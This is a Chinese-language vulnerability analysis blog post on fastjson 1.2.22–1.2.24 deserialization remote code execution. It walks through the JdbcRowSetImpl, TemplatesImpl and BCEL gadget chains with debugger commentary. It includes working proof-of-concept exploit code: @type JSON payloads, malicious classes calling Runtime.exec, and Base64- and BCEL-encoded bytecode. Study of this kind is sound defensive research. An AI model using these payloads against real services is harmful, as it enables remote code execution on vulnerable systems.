影响版本
最早在fastjson1.2.24及之前的版本被曝存在远程代码执行漏洞,由于fastjson可以使用 @type 指定反序列化任意类,攻击者可在jdk包中查找能够构造出恶意类的方法,在其反序列化时会调用其getter或setter方法。
具体影响范围:1.2.22 <= fastjson <= 1.2.24
JdbcRowSetImpl利用链
com.sun.rowset.JdbcRowSetImpl 这条利用链是比较简单的,该类提供对数据库连接的操作,由于提供了JNDI的支持且参数可控,导致出现JNDI注入。
import com.alibaba.fastjson.JSON;
public class main {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/lovxJNmO\",\"autoCommit\":false}";
JSON.parseObject(s);
}
}
根据上一篇FastJson反序列化分析中,我们已经知道会自动调用带有 @type 的json字符串中的属性setter方法。我们又知道,在 JdbcRowSetImpl 类中存在一个参数可控的JNDI注入

在该类中搜索一下,在这个地方进行了JNDI查找操作

继续查找 getDataSourceName 方法,返回了 BaseRowSet 类中的 dataSource 属性,由于 JdbcRowSetImpl 继承了 BaseRowSet 类,那么我们看一下是哪个方法对 dataSource 进行了赋值

在 JdbcRowSetImpl 类中,获取了 getDataSourceName 的值,这就是为什么我们在json字符串中先把 dataSourceName 放在前面,因为首先会先调用到 setDataSourceName 方法,如果反过来可能会导致空指针的报错
所以会执行到 super.setDataSourceName 方法,调用了父类的 setDataSourceName 方法

来到了父类的这个方法,其实就是判断是否为空,这就是我们传入的 ldap://127.0.0.1:8085/lovxJNmO 这个字符串,再然后就进行了赋值的操作。
和上面我们说的已经对上了,现在 dataSource 就是我们的恶意ldap服务,现在只需要调用 connect 方法即可执行恶意代码。

经过查找,发现 setAutoCommit 方法调用了 connect 方法,而 getDatabaseMetaData 方法是getter方法且没有参数,这个不适合我们去利用。


这样就查找了恶意的ldap服务执行了恶意代码,走到了JSONException这里是因为没有设置 Feature.SupportNonPublicField 参数,报错但不影响执行。
TemplatesImpl利用链
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这条利用链需要启用 Feature.SupportNonPublicField 对非公开字段的反序列化的访问。
在编写恶意类时,该恶意类必须继承 AbstractTranslet,至于为什么需要继承该类,到后面分析自然就知道了。还需要将恶意类编译生成的.class文件进行Base64编码,因为在利用过程中会对 _bytecodes 进行Base64解码,具体看后面分析。
// ByteCodetoBase64.java
import java.io.BufferedInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.util.Base64;
public class ByteCodetoBase64 {
public static void main(String[] args) {
// 读取字节码文件
File file = new File("/Users/wiley/IdeaProjects/javaResearch/target/classes/FastjsonResearch/EvilCode.class");
byte[] bytecode = readBytecode(file);
// 将字节码文件转换为Base64编码
String base64 = encodeToBase64(bytecode);
System.out.println(base64);
}
private static byte[] readBytecode(File file) {
try {
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = bis.read(buffer)) != -1) {
bos.write(buffer, 0, bytesRead);
}
fis.close();
bis.close();
bos.close();
return bos.toByteArray();
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
private static String encodeToBase64(byte[] bytecode) {
return Base64.getEncoder().encodeToString(bytecode);
}
}
// EvilCode.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilCode extends AbstractTranslet {
public EvilCode() throws IOException {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
// TemplateImplChain.java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class TemplateImplChain {
public static void main(String[] args) {
String str = "{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\": " +
"[\"yv66vgAAADQANwoACAAnCgAoACkIACoKACgAKwcALAoABQAnBwAtBwAuAQAGPGluaXQ" +
"+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABtMRmFzdGpzb25SZXNlYXJjaC9FdmlsQ29kZTsBAApFeGNlcHRpb25zBwAvAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQBABdMRmFzdGpzb25SZXNlYXJjaC9UZXN0OwcAMQEAClNvdXJjZUZpbGUBAA1FdmlsQ29kZS5qYXZhDAAJAAoHADIMADMANAEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADUANgEAFUZhc3Rqc29uUmVzZWFyY2gvVGVzdAEAGUZhc3Rqc29uUmVzZWFyY2gvRXZpbENvZGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABwAIAAAAAAAEAAEACQAKAAIACwAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAMAAAADgADAAAADAAEAA0ADQAOAA0AAAAMAAEAAAAOAA4ADwAAABAAAAAEAAEAEQABABIAEwABAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAKgAEAAAAAQAOAA8AAAAAAAEAFAAVAAEAAAABABYAFwACAAAAAQAYABkAAwABABIAGgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFwANAAAAIAADAAAAAQAOAA8AAAAAAAEAFAAVAAEAAAABABsAHAACABAAAAAEAAEAHQAJAB4AHwACAAsAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAwAAAAKAAIAAAAaAAgAGwANAAAAFgACAAAACQAgACEAAAAIAAEAIgAjAAEAEAAAAAQAAQAkAAEAJQAAAAIAJg==\"],\"_name\": \"x\",\"_tfactory\": {},\"_outputProperties\": {},}";
JSON.parseObject(str,Feature.SupportNonPublicField);
}
}







这里判断了字符串的第一个字符的token为左大括号,则实例化了一个JSON对象



这里 isObjectKey 为false且设置key变量值为@type,判断了当前JSON解析器解析字符串的字符,到这里其实就是到了上图这个位置了

这里就是对 isObjectKey 值取反判断,执行 lexer.next() 获取下一个词法单元(符号)也就是双引号字符(”),再后面就是调用 lexer.scanSymbol() 方法从解析器中读取字符,直到遇到第二个引号字符(”)为止,这样的话就获取到了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个字符串,接着调用 TypeUtils 类的loadClass静态方法加载TemplatesImpl类,TypeUtils类的loadClass静态方法其实主要就是做了判断ParserConfig类中的默认加载器是不是为null,为null的话就使用AppClassLoader加载器进行加载并返回加载后的类

lexer.nextToken(JSONToken.COMMA) 获取下一个标记,下一个标记是JSONToken.COMMA 常量,对应的字符是 , 逗号,下一个标记确实是 , 逗号,接着判断下一个词法单元(符号)是不是右大括号,很显然不是,则继续往下看

通过ParserConfig类config对象获取com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 的反序列器并调用反序列化器的序列化方法




进入了反序列化方法后,前面都是一些赋值判断的操作,到了这里其实就是将 sortedFieldDeserializers 字段反序列化器数组进行一个遍历,第一次遍历获取的是 outputProperties 字段

这里就是判断了 outputProperties 字段是什么类型的,再跟下去

跟下去发现下面的所有判断都不符合,直接进入第二次循环,这次是 stylesheetDOM 字段下面的判断也是不符合的,进入第三次循环也是不符合判断要求,这里就不详细看了

再往下就是到了这里,由于上面三次都没有符合判断要求,所以matchField为false,这里开始判断key的值是否一致

上面判断也不符合要求,到了这里,将JSON解析器和``com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类作为createInstance` 方法的参数创建实例,跟进看一下



这里就是获取了 TemplatesImpl 类的默认构造器,如果这个默认构造器参数数量为0的话,那就通过这个默认构造器进行实例化对象并返回






接着解析器获取了下一个key,后面就是解析我们传入的JSON字符串字段 _bytecodes、_name、_tfactory、_outputProperties 的操作

只有当key为 _outputProperties 时,才能获取到字段反序列化器,前面的操作都是各种判断JSON解析器细节方面的东西,随后调用parseField方法,跟进看一下


parseField方法主要是获取字段反序列化器,由于 _bytecodes、_name、_tfactory 这些私有字段在TemplatesImpl类中都没有对应的public修饰符的getter和setter方法,所以没有字段反序列化器,而 _outputProperties 私有字段有对应public修饰符的getter方法,那么它就拥有一个字段反序列化器


这里有一个注意的地方,就是key为 _bytecodes 时和 _outputProperties 的区别







这里对字段值反序列化器进行反序列化获取值,这里要注意的是在前面key为 _bytecodes 时,会调用到 ObjectArrayCodec 类中的 deserialze 方法,该类对JSON字符串数组进行了一个解析,将JSON字符串数组进行了Base64解码,所以在写Payload时需要将 _bytecodes 键的值进行Base64编码
当key为 _outputProperties 时,会调用 MapDeserializer 类的 deserialze 方法,这个key是没有设置值的,所以这里返回null


setValue方法判断了getOutputProperties方法字段访问权限和字段类

这里判断了 getOutputProperties 方法的返回值类型是否是Map类或Map子类,该方法返回值类型是 Properties,该类型是Map的子类,后面就是使用反射调用TemplatesImpl类的 getOutputProperties 方法

在 getOutputProperties 方法中调用了 newTransformer 方法,跟进看一下

这里调用了 getTransletInstance 方法,再跟进看一下

getTransletInstance 方法中判断了json字符串的 _name 和 _class 是否为空,这样就是为什么在payload中json字符串中必须要设置_name变量的值,不设置值这里就直接返回null了,_class 变量我们没有设置,即调用 defineTransletClasses 方法

这里还需要注意到一点的是 _tfactory 在JSON字符串中必须存在键值对,可以是空值,但不能没有,否则没有办法实例化 TransletClassLoader 加载器


_bytecodes 也不能为null,否则就抛出异常了。接着就是获取TransletClassLoader,通过 TransletClassLoader.defineClass() 方法将json字符串中的 _bytecodes 变量恶意代码字节码值转换成一个类实例,然后判断了我们恶意代码类的父类全限定类名是否包含 ABSTRACT_TRANSLET 常量值 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,这就是为什么要在恶意类中需要继承 AbstractTranslet 类的原因,如果没有继承,则 _transletIndex 变量为-1,再走到下面 _transletIndex 小于0就会抛出异常了,所以必须要让恶意类继承 AbstractTranslet 类


_class 数组里下标为0的就是通过 TransletClassLoader 加载器加载的恶意类,调用 newInstance 方法即可实例化恶意类对象,即执行恶意类的代码,弹出计算器
BCEL利用链
BCEL链也是一种不出网的利用链,虽然 TemplatesImpl 利用链也是不出网的利用链,但是这个利用链很苛刻,需要开启 Feature.SupportNonPublicField 对非公开字段的支持。BECL利用链需要tomcat的依赖tomcat-dbcp,对于Tomcat8.0之前版本使用 org.apache.tomcat.dbcp.dbcp.BasicDataSource,Tomcat8.0之后使用 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
// BCELEvilCode.java
package FastjsonResearch;
import java.io.IOException;
public class BCELEvilCode {
public BCELEvilCode() throws IOException {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
// BCELEncode.java
package FastjsonResearch;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class BCELEncode {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
String filePath = "/Users/wiley/IdeaProjects/javaResearch/src/main/java/FastjsonResearch/BCELEvilCode.class";
Path path = Paths.get(filePath);
if (!Files.exists(path)) {
throw new IllegalArgumentException("File does not exist: " + filePath);
}
byte[] bytecodes = Files.readAllBytes(path);
String code = "$$BCEL$$" + Utility.encode(bytecodes,true);
System.out.println(code);
}
}
// BCELChain.java
package FastjsonResearch;
import com.alibaba.fastjson.JSON;
public class BCELChain {
public static void main(String[] args) {
String jsonstr = "{\"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\": " +
"{\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\": " +
"\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$C1$Q$7d$Fd$R$f9F$fc$f6$e0I$f0$40$_$deP$T$r$90$98$a0$Y0z$$$b5$c1$92$a5$bb$d9$ed$S$fcY$5e$d4x$f0$H$f8$a3$8c$b3$i$90$c46$9d$e9$9b7$af3$9d$ef$9f$cf$_$A$a78$c8$o$8db$W$r$943$a8$c4$be$ea$60$d3A$8d$n$7d$a6$8d$b6$X$M$c9z$e3$81$n$d5$f6$9e$UC$b1$a7$8d$ba$8d$a6$p$V$dc$8b$91K$91lg$$$95o$b5gB$H$5b$84$87$5e$UH$d5$d51Y$bejwz$9d$99vcus$of$o$H$H$Z$H$db9$ec$60$97$e1$9c$P_B$ab$a6$fc$d2$f7$5d$z$c5$e2$j$de$W$ae$8c$5ca$bd$a0$v$7c$9f$b7$3dc$95$b1$n$bf$R$b2$3f$5cas$d8$c3$3e$c3aW$84v$Szf$a0B$r$C$f9$ccW$cb2$94$e2$c2$dc$Vf$cc$fb$a3$89$92$96$a1$ba$Ii$8f_$f7$97$fdS$bb$7f$89$83$c8X$3d$8d$ff7Vv$Jj$f5F$ef_N$8b$a6$a3$e6J2$i$d7W$d8$a1$N$b4$Z$b7V$Fw$81$tU$Y$b6p$845$g$7c$bc$Ym$9a$I$SX$t$d4$q$cf$c8$XN$de$c1$3e$90$a8$q$df$90z$7c$5d$e4e$e38$92d$d3H$91$sO$aa$NB$v$e2rt$f2tO$a0$f0$L$e7$dd$60$ef$dc$B$A$A\n\"}";
JSON.parseObject(jsonstr);
}
}

我们先来看下BCEL这条链的触发点在哪里,org.apache.tomcat.dbcp.dbcp2 包下的DriverFactory 类中,createDriver 静态方法使用
BasicDataSource 类型对象的 driverClassLoader 加载器加载了BasicDataSource类型对象的 driverClassName
driverClassLoader 是我们在JSON字符串中写的是com.sun.org.apache.bcel.internal.util.ClassLoader 这个类,那么就会调用ClassLoader该类中的 loadClass 方法,在这个方法中判断了 class_name 是否是 $$BCEL$$ 字符开头的,否则就会抛出异常了,接着后面调用了 createClass 方法,这个方法就是将 class_name 中的字节码转换成类
在 createClass 方法中,将 $$BCEL$$ 字符删除后进行解码,再对这个解码后的字节码进行解析,所以在JSON字符串中 driverClassName 键的值需要进行编码
后面就是对解析后的类再进行一些处理,再将这个类进行返回
再获取这个类的字节码,加载成一个具体的类
使用自定义加载器 com.sun.org.apache.bcel.internal.util.ClassLoader 加载完成后得到的具体恶意类进行了实例化,这里是真正进行执行恶意代码的地方,我们再看下是这个调用链是什么样的
这里就是一个完整的调用链
getConnection()->createDataSource()->createConnectionFactory()->DriverFactory.createDriver()
我们清楚这条链的触发点后,至于前面的 parse 方法解析JSON字符串,在Fastjson反序列化一开始我们就已经跟着程序调试分析了,就是去根据我们给的JSON字符串去解析成对应的对象,接着调用 toJSON 方法
这里会将传入的类名 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 的序列化器转换成JavaBean序列化器,使用该JavaBean序列化器获取获取所有字段值
这里就是对 BasicDataSource 类型对象的所有getter方法获取属性值,再看下 getPropertyValue 方法做了什么
这里调用了 fieldInfo 的 get 方法
这个get方法使用反射进行了方法的调用
那么这里只需要 getter 的变量值是 connection ,就会调用 getConnection 方法,这样我们这条完整的链就通了
但是我们发现不只是 getConnection 方法调用了 createDataSource 方法, getLogWriter 方法同样也调用了,而在解析对象时,在 FieldSeriailzer 对象数组类型的 sortedGetters 变量中,connection 相对于 logwriter 而言排在最前面,所以最先执行的也是这个方法,这就是为什么网上的文章都在说 getConnection 方法而没有说 getLogWriter 方法的原因
最后依次往下执行,成功执行了恶意代码
Author: wileysec
Permalink: https://wileysec.github.io/11c62fd672b4.html
Comments